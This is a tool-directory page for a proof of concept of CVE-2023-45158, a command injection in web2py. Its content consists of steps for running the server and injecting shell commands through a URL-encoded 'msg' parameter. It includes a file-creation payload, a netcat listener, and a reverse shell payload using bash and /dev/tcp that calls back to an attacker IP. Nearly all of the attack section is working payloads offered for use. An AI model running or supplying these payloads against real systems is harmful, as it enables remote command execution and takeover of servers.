Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-45158 | Kitploit
Tools/GitHubGitHub/yifanzhg/cve-2023-45158
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and Control
GitHubyifanzhg/cve-2023-45158

CVE-2023-45158

View Repository
412 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2023-45158

Steps

  1. Run the webserver
root@kitploit:~
cd web2py
python3 web2py.py
  1. Inject your command using the URL http://<IP-ADDRESS>:8000/hack?msg=%27%3B<YOUR-COMMAND>%3B%27. Replace <IP-ADDRESS> and <YOUR-COMMAND> with your values.

Examples

  1. Create a file on the server

http://<IP-ADDRESS>:8000/hack?msg=%27%3Btouch%20hack%3B%27

  1. Reverse shell

On the attacker's machine, run nc -l 127.0.0.1 8080

Go to URL http://<IP-ADDRESS>:8000/hack?msg=%27%3Bbash%20-i%20>%26/dev/tcp/<ATTACKER-IP>/8080%200>%26%201%3B%27. Replace <ATTACKER-IP>.

Download Tool